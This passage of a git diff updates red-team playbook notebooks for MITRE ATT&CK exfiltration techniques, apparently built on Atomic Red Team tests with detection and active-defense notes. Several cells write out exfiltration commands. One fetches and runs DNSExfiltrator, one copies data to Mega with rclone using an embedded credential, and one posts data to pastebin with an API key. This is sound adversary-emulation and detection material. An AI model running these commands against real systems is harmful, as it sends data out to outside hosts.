admin)", "#### Attack Commands: Run with `sh`\n", - "```sh\nif [ $(which python3) ]; then cd /tmp; python3 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi\n```" + "```sh\n[ \"$(uname)\" = 'FreeBSD' ] && alias python3=python3.9\nif [ $(which python3) ]; then cd /tmp; python3 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1739b186", + "id": "e9c67080", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048.003 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "a15f26de", + "id": "b79b55d8", "metadata": {}, - "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) " + "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) \n\nFor network infrastructure devices, collect AAA logging to monitor for `copy` commands being run to exfiltrate configuration files to non-standard destinations over unencrypted protocols such as TFTP." } ], "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1048.ipynb b/playbook/tactics/exfiltration/T1048.ipynb index bc7aa2ef..d1ebe78b 100644 --- a/playbook/tactics/exfiltration/T1048.ipynb +++ b/playbook/tactics/exfiltration/T1048.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "550a7f5a", + "id": "9de248fc", "metadata": {}, - "source": "# T1048 - Exfiltration Over Alternative Protocol\nAdversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) " + "source": "# T1048 - Exfiltration Over Alternative Protocol\nAdversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009)." }, { "cell_type": "markdown", - "id": "fd9a99da", + "id": "7d25c2a6", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a91859fa", + "id": "98922f4c", "metadata": {}, "source": [ "### Atomic Test #1 - Exfiltration Over Alternative Protocol - SSH", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "fe774392", + "id": "21c10750", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "ac6bc5a3", + "id": "6561ba16", "metadata": {}, "source": [ "### Atomic Test #2 - Exfiltration Over Alternative Protocol - SSH", @@ -47,51 +47,51 @@ { "cell_type": "code", "execution_count": null, - "id": "1cb511ac", + "id": "7347cd63", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "4753c23f", + "id": "d9072d74", "metadata": {}, - "source": "### Atomic Test #3 - DNSExfiltration (doh)\nDNSExfiltrator allows for transfering (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel.\n!!! Test will fail without a domain under your control with A record and NS record !!! \nSee this github page for more details - https://github.com/Arno0x/DNSExfiltrator\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DNSExfiltrator powershell file must exist on disk at specified location (#{ps_module})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:Temp\\dnsexfil.ps1) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nIWR \"https://raw.githubusercontent.com/Arno0x/DNSExfiltrator/8faa972408b0384416fffd5b4d42a7aa00526ca8/Invoke-DNSExfiltrator.ps1\" -OutFile $env:Temp\\dnsexfil.ps1\n\n```" + "source": "### Atomic Test #3 - DNSExfiltration (doh)\nDNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel.\n!!! Test will fail without a domain under your control with A record and NS record !!! \nSee this github page for more details - https://github.com/Arno0x/DNSExfiltrator\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DNSExfiltrator powershell file must exist on disk at specified location (#{ps_module})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\dnsexfil.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nIWR \"https://raw.githubusercontent.com/Arno0x/DNSExfiltrator/8faa972408b0384416fffd5b4d42a7aa00526ca8/Invoke-DNSExfiltrator.ps1\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\dnsexfil.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4633273b", + "id": "d9983fb8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7485d53d", + "id": "6bf16be4", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nImport-Module $env:Temp\\dnsexfil.ps1\nInvoke-DNSExfiltrator -i $env:Temp\\dnsexfil.ps1 -d target.example.com -p atomic -doh google -t 500 None\n```" + "```powershell\nImport-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\dnsexfil.ps1\"\nInvoke-DNSExfiltrator -i \"PathToAtomicsFolder\\..\\ExternalPayloads\\dnsexfil.ps1\" -d target.example.com -p atomic -doh google -t 500 None\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0be0e6a6", + "id": "8fc3a190", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "636ab08d", + "id": "1f0adf36", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)" }, { "cell_type": "markdown", - "id": "a6db26e9", + "id": "952edc99", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Manipulation \n Make changes to network properties and functions to achieve a desired effect. \n\n Network Manipulation allows a defender to throttle network speeds, segment the network, maintain a unique IP addressing scheme, or add a kill switch to cut off network access if needed.\n#### Opportunity\nThere is an opportunity to disrupt or enable and adversary's exfiltration activities by blocking/unblocking the traffic to their Command and Control (C2) location.\n#### Use Case\nA defender can prevent or enable use of alternate protocols for exfiltration by blocking/unblocking unnecessary ports and protocols.\n#### Procedures\nAdd a kill switch to a decoy network that can be used to shutdown all network communication if an adversary takes an action that is out of the desired scope.\nIntroduce intermittent network packet loss on a decoy network to interfere with an adversary's activities.\n" } @@ -99,13 +99,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1052.001.ipynb b/playbook/tactics/exfiltration/T1052.001.ipynb index cec813ff..e46a7e9e 100644 --- a/playbook/tactics/exfiltration/T1052.001.ipynb +++ b/playbook/tactics/exfiltration/T1052.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "0f01a0e0", + "id": "66c317f3", "metadata": {}, "source": "# T1052.001 - Exfiltration over USB\nAdversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems." }, { "cell_type": "markdown", - "id": "00dbe680", + "id": "90dc540d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "38a68fde", + "id": "0d9a3f40", "metadata": {}, "source": "## Detection\nMonitor file access on removable media. Detect processes that execute when removable media are mounted." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1052.ipynb b/playbook/tactics/exfiltration/T1052.ipynb index dda503d0..b6d681f4 100644 --- a/playbook/tactics/exfiltration/T1052.ipynb +++ b/playbook/tactics/exfiltration/T1052.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "af21af7e", + "id": "5bf3ff66", "metadata": {}, "source": "# T1052 - Exfiltration Over Physical Medium\nAdversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems." }, { "cell_type": "markdown", - "id": "ba016b8e", + "id": "faec399c", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "855936ef", + "id": "e1d6ead5", "metadata": {}, "source": "## Detection\nMonitor file access on removable media. Detect processes that execute when removable media are mounted." }, { "cell_type": "markdown", - "id": "a37df432", + "id": "125eddda", "metadata": {}, "source": "\n## Shield Active Defense\n### Peripheral Management \n Manage peripheral devices used on systems within the network for active defense purposes. \n\n\n \n\n Peripheral Management is the administration of peripheral devices used on systems within the network for defensive or deceptive purposes. A defender can choose to allow or deny certain types of peripherals from being used on systems. Defenders can also introduce certain peripherals to an adversary-controlled system to see how the adversary reacts.\n#### Opportunity\nThere is an opportunity to determine adversary capabilities or preferences by controlling aspects of the engagement environment.\n#### Use Case\nA defender could use decoy peripherals, such as external Wi-Fi adapters, USB devices, etc. to determine if adversaries attempt to use them for exfiltration purposes.\n#### Procedures\nIntroduce external devices (e.g. a USB drive) to a machine in an adversary engagement scenario to see how quickly an adversary gains awareness to its presence and if they attempt to leverage the device.\nConfigure controls (such as AutoRun) which would require an adversary to take additional steps when leveraging a peripheral device to execute their tools.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1537.ipynb b/playbook/tactics/exfiltration/T1537.ipynb index d6ee7622..c9065109 100644 --- a/playbook/tactics/exfiltration/T1537.ipynb +++ b/playbook/tactics/exfiltration/T1537.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "fd548102", + "id": "3b1e583b", "metadata": {}, "source": "# T1537 - Transfer Data to Cloud Account\nAdversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) " }, { "cell_type": "markdown", - "id": "699776f0", + "id": "a39a153b", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "f5d745ad", + "id": "d306df03", "metadata": {}, "source": "## Detection\nMonitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. \n\nIn AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a \"Get Snapshot SAS URL\" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature)" }, { "cell_type": "markdown", - "id": "662eaed6", + "id": "489c56f5", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nDefenders can detect adversaries attempting to exfiltrate to a cloud account. This can detect a system connecting to these cloud providers that it might not normally connect to, not using an account that it normally does, or during a time when it normally doesn't do so.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1567.001.ipynb b/playbook/tactics/exfiltration/T1567.001.ipynb index b485e82d..e0faf0e2 100644 --- a/playbook/tactics/exfiltration/T1567.001.ipynb +++ b/playbook/tactics/exfiltration/T1567.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "585d2671", + "id": "ecf6d28d", "metadata": {}, "source": "# T1567.001 - Exfiltration to Code Repository\nAdversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. " }, { "cell_type": "markdown", - "id": "25047961", + "id": "106e8142", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "99afca7b", + "id": "a9c19273", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1567.002.ipynb b/playbook/tactics/exfiltration/T1567.002.ipynb index b3de8da8..a727684a 100644 --- a/playbook/tactics/exfiltration/T1567.002.ipynb +++ b/playbook/tactics/exfiltration/T1567.002.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "974f7e28", + "id": "3d01b3ec", "metadata": {}, "source": "# T1567.002 - Exfiltration to Cloud Storage\nAdversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. " }, { "cell_type": "markdown", - "id": "a8ecc7a0", + "id": "2b0cb1a9", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "33c9ce27", + "id": "56b3d5cc", "metadata": {}, - "source": "### Atomic Test #1 - Exfiltrate data with rclone to cloud Storage - Mega (Windows)\nThis test uses rclone to exfiltrate data to a remote cloud storage instance. (Mega)\nSee https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: rclone must exist at (#{rclone_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:temp\\T1567.002\\rclone-v*\\) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://downloads.rclone.org/rclone-current-windows-amd64.zip\" -OutFile $env:temp\\rclone.zip\nExpand-archive -path $env:temp\\rclone.zip -destinationpath $env:temp\\T1567.002\\ -force\n\n```" + "source": "### Atomic Test #1 - Exfiltrate data with rclone to cloud Storage - Mega (Windows)\nThis test uses rclone to exfiltrate data to a remote cloud storage instance. (Mega)\nSee https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: rclone must exist at (#{rclone_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1567.002\\rclone-v*\\\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://downloads.rclone.org/rclone-current-windows-amd64.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\rclone.zip\"\nExpand-archive -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\rclone.zip\" -destinationpath \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1567.002\\\" -force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "124d6ce0", + "id": "a69c08b7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1567.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "c9af0546", + "id": "8d9cc9a2", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nNew-Item $env:appdata\\rclone -ItemType directory\nNew-Item $env:appdata\\rclone\\rclone.conf\ncd $env:temp\\T1567.002\\rclone-v*\\\n.\\rclone.exe config create T1567002 mega\nset-Content $env:appdata\\rclone\\rclone.conf \"[T1567002] `n type = mega `n user = atomictesting@outlook.com `n pass = vmcjt1A_LEMKEXXy0CKFoiFCEztpFLcZVNinHA\"\n.\\rclone.exe copy --max-size 1700k $env:temp\\T1567.002 T1567002:test -v\n```" + "```powershell\nNew-Item $env:appdata\\rclone -ItemType directory\nNew-Item $env:appdata\\rclone\\rclone.conf\ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1567.002\\rclone-v*\\\"\n.\\rclone.exe config create T1567002 mega\nset-Content $env:appdata\\rclone\\rclone.conf \"[T1567002] `n type = mega `n user = atomictesting@outlook.com `n pass = vmcjt1A_LEMKEXXy0CKFoiFCEztpFLcZVNinHA\"\n.\\rclone.exe copy --max-size 1700k \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1567.002\" T1567002:test -v\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "80e0c3f0", + "id": "4b4723fe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1567.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "4d9448e3", + "id": "9a354575", "metadata": {}, - "source": "#### Cleanup: \n```powershell\ncd $env:temp\\T1567.002\\rclone-v*\\\n.\\rclone.exe purge T1567002:test\n.\\rclone.exe config delete T1567002:\nRemove-Item $env:appdata\\rclone -recurse -force -erroraction silentlycontinue\ncd c:\\\nRemove-Item $env:temp\\rclone.zip\nRemove-Item $env:temp\\T1567.002 -recurse -force\n```" + "source": "#### Cleanup: \n```powershell\ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1567.002\\rclone-v*\\\"\n.\\rclone.exe purge T1567002:test\n.\\rclone.exe config delete T1567002:\nRemove-Item $env:appdata\\rclone -recurse -force -erroraction silentlycontinue\ncd c:\\\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\rclone.zip\"\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1567.002\" -recurse -force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e57f13cb", + "id": "4ccac99c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1567.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "a848de47", + "id": "6ca9c6c8", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1567.003.ipynb b/playbook/tactics/exfiltration/T1567.003.ipynb new file mode 100644 index 00000000..dd9d45de --- /dev/null +++ b/playbook/tactics/exfiltration/T1567.003.ipynb @@ -0,0 +1,53 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "1cc9452a", + "metadata": {}, + "source": "# T1567.003 - Exfiltration to Text Storage Sites\nAdversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information. \n\nText storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)\n\n**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs." + }, + { + "cell_type": "markdown", + "id": "8bcd7e5e", + "metadata": {}, + "source": "## Atomic Tests" + }, + { + "cell_type": "markdown", + "id": "d8d8aba8", + "metadata": {}, + "source": [ + "### Atomic Test #1 - Exfiltrate data with HTTP POST to text storage sites - pastebin.com (Windows)", + "This test uses HTTP POST to exfiltrate data to a remote text storage site. (pastebin) \nSee https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it \n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$apiKey = \"6nxrBm7UIJuaEuPOkH5Z8I7SvCLN3OP0\"\n$content = \"secrets, api keys, passwords...\"\n$url = \"https://pastebin.com/api/api_post.php\"\n$postData = @{\n api_dev_key = $apiKey\n api_option = \"paste\"\n api_paste_code = $content\n}\n$response = Invoke-RestMethod -Uri $url -Method Post -Body $postData\nWrite-Host \"Your paste URL: $response\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "25b1d1b0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1567.003 -TestNumbers 1" + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/exfiltration/T1567.004.ipynb b/playbook/tactics/exfiltration/T1567.004.ipynb new file mode 100644 index 00000000..e9bf07b4 --- /dev/null +++ b/playbook/tactics/exfiltration/T1567.004.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "79468a55", + "metadata": {}, + "source": "# T1567.004 - Exfiltration Over Webhook\nAdversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application. \n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation: Checkmarx Webhooks)" + }, + { + "cell_type": "markdown", + "id": "6acf9126", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/exfiltration/T1567.ipynb b/playbook/tactics/exfiltration/T1567.ipynb index f8da0e1a..4116b7f1 100644 --- a/playbook/tactics/exfiltration/T1567.ipynb +++ b/playbook/tactics/exfiltration/T1567.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "99ac6d1f", + "id": "2c3a6264", "metadata": {}, "source": "# T1567 - Exfiltration Over Web Service\nAdversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection." }, { "cell_type": "markdown", - "id": "3c2600dd", + "id": "d177d8de", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "fb8e74ae", + "id": "4a7ef48f", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity." }, { "cell_type": "markdown", - "id": "e1c863f2", + "id": "f072d579", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nDefenders can detect adversaries attempting to exfiltrate over web services by implementing behavioral analytics. This can detect a system connecting to these web services that it might not normally connect to, or during a time when it normally doesn't do so.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact.ipynb b/playbook/tactics/impact.ipynb index 